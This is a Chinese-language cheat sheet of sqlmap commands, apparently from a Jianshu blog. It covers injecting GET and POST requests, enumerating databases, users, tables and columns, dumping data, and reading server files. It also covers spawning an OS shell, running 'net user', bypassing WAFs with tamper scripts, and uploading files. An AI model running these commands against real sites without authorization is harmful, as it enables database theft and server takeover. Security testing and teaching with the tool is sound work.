sqlmap常用命令及用法

💲-r:post注入(适用于所有提交方式)

sqlmap.py -r  文件路径:\X.txt        (txt用burp suite抓包放到文件里)

💲-u: get注入     

sqlmap.py -u 网址

💲--level: 执行等级,共有五级,第二级开始扫描cookie,第三级扫描user-agent与referer,五级扫描所有(默认一级)

sqlmap.py -u 网址 --level 1/2/3/4/5

 sqlmap.py -r  文件路径:\X.txt --level 1/2/3/4/5   

💲--risk: 执行测试的风险(0-3,默认为1),1测试大部分测试语句,2增加基于事件的测试语句,3会增加OR语句的SQL注入测试

sqlmap.py -u 网址 --risk 1/2/3

sqlmap.py -r  文件路径:\X.txt --risk 1/2/3

💲-v:  信息等级

      0只显示python错误以及严重的信息      想看到sqlmap发送的payload最好等级为三

      1同时显示基本信息和警告信息(默认)

      2同时显示debug信息

      3同时显示注入的payload

      4同时显示HTTP请求

      5同时显示HTTP响应头

      6同时显示HTTP响应页面

sqlmap.py -u 网址 -v

sqlmap.py -r  文件路径:\X.txt -v

💲-p:  针对单个参数注入  

sqlmap.py -u 网址 -p 参数

sqlmap.py -r  文件路径:\X.txt -p 参数

💲-threads: 线程数,可让sqlmap跑的更快,默认为10 

sqlmap.py -u 网址 -threads 20

sqlmap.py -r  文件路径:\X.txt -threads 20

💲-batch-smart :智能判断测试 (含爆破)                

sqlmap.py -u 网址 -batch-smart

sqlmap.py -r  文件路径:\X.txt -batch-smart

💲-m:批量注入  把注入点网址写进txt文档里,导入文档    

 sqlmap.py -m  文件路径:\X.txt 

💲--dbs:默认显示所有数据库名    

 sqlmap.py -u 网址 --dbs        

 sqlmap.py -r  文件路径:\X.txt --dbs

💲--current-user:大多数数据库中可检测到数据库管理系统当前用户   

sqlmap.py -u 网址 --current-user                                                 

sqlmap.py -r  文件路径:\X.txt --current-user

💲--current-db:当前连接数据库名            

 sqlmap.py -u 网址 --current-db     

sqlmap.py -r  文件路径:\X.txt --current-db

💲--is-dba:判断当前的用户是否为管理      

sqlmap.py -u 网址 --is-dba

sqlmap.py -r  文件路径:\X.txt --is-dba

💲--users:列出数据库所有所有用户          

sqlmap.py -u 网址 --users

sqlmap.py -r 文件路径:\X.txt --users

💲--tables -D 数据库名: 获取数据库表名      

sqlmap.py -u 网址 --tables -D 数据库名    

 sqlmap.py -r 文件路径:\X.txt --tables -D 数据库名

💲--columns -T 表名 -D 数据库名:获取字段名    

sqlmap.py -u 网址 --columns -T 表名 -D 数据库名

sqlmap.py -r 文件路径:\X.txt --columns -T 表名 -D 数据库名

💲-T 表名 -C 字段名 --dump:获取字段内容      

sqlmap.py -u 网址 -T 表名 -C 字段名 --dump

sqlmap.py -r 文件路径:\X.txt -T 表名 -C 字段名 --dump

(dump是下载,路径:D:\VStart50\tools\注入检测\sqlmap\output\IP地址\数据库名)

💲--file-read  读取文件内容                         

sqlmap.py -u 网址 --file-read 文件路径:\X.txt

sqlmap.py -r 文件路径:\X.txt --file-read 文件路径:\X.txt

💲--os-shell 系统交互,可操做系统              

sqlmap.py -u 网址 --os-shell

sqlmap.py -r 文件路径:\X.txt --os-shell

💲--tamper "脚本"  sqlmap利用脚本绕过waf                

sqlmap.py -u 网址 --tamper "脚本"

sqlmap.py -r 文件路径:\X.txt "脚本"

💲--net user 执行net user命令,可探测物理路径      

sqlmap.py -u “url” --os-cmd="net user” /*执行net user命令*/      (可探测物理路径)

💲--file-write  --file-dest  上传文件  

sqlmap.py -u --file-write  "C:/文件来源路径/文件名” --file-dest “C:/文件目的地/文件名” -v1

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。